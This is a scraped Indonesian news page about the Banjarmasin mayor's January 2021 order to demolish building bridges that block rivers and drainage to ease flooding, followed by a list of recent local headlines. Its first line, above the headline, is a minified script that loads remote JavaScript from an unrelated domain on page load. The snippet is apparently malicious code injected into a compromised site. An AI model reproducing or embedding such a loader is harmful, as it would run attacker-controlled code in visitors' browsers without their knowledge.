(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bongkar! Jembatan Bangunan Gedung Menutupi Sungai dan Drainase


KANALKALIMANTAN.COM, BANJARMASIN – Mengatasi banjir di Kota Banjarmasin yang merendam permukiman penduduk hingga ke ruas-ruas jalan utama, Pemerintah Kota Banjarmasin mengambil langkah membongkar bangunan yang menghalangi aliran sungai dan drainase.

Hal itu berdasarkan berdasarkan surat edaran yang ditandatangani oleh Wali Kota Banjarmasin, Ibnu Sina yang ditujukan kepada para pemilik bangunan gedung di kota Banjarmasin.

Surat edaran perintah pembongkaran itu, berdasarkan Peraturan Daerah (Perda) Nomor 14 tahun 2009 tentang bangunan panggung, Perda Nomor 15 tahun 2012 tentang izin mendirikan bangunan dan Perda Nomor 31 tahun 2012 tentang penetapan, pengaturan pemanfaatan sempadan sungai dan bekas sungai.

Pertanggal 26 Januari 2021, Wali Kota Banjarmasin Ibnu Sina memerintahkan kepada  seluruh pihak pemilik bangunan yang memiliki Jembatan Bangunan Gedung (JBG) untuk menyeberangi sungai, menuju bangunan gedung atau halaman yang menghalangi aliran sungai, agar segera membongkar secara sendiri.

 

Banjir besar menenggelamkan ruas jalan A Yani Kota Banjarmasin. Foto: putra

Wali Kota Banjarmasin Ibnu Sina memberikan waktu kepada pemilik gedung dalam waktu 2×24 jam setelah surat edaran diterbitkan. Apabila dinilai menghalangi aliran sungai dalam upaya untuk mengatasi genangan akibat banjir belum dibongkar oleh pemilik, maka akan dilakukan pembongkaran oleh Pemerintah Kota Banjarmasin.

“Dengan tujuan untuk mengembalikan aliran sungai sehingga dapat berfungsi kembali sebagai badan air untuk mengatasi permasalahan genangan akibat banjir di Kota Banjarmasin,” kata Wali Kota Banjarmasin dalam surat edaran

Prioritas untuk awal pembongkaran jembatan gedung bangunan lainnya di kota Banjarmasin yang menghalangi aliran sungai adalah jembatan bangunan sepanjang jalan Ahmad Yani, jalan Pramuka dan jalan Veteran. (kanalkalimantan.com/putra)
Reporter: putra
Editor: bie


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

11 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

12 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

14 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

15 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.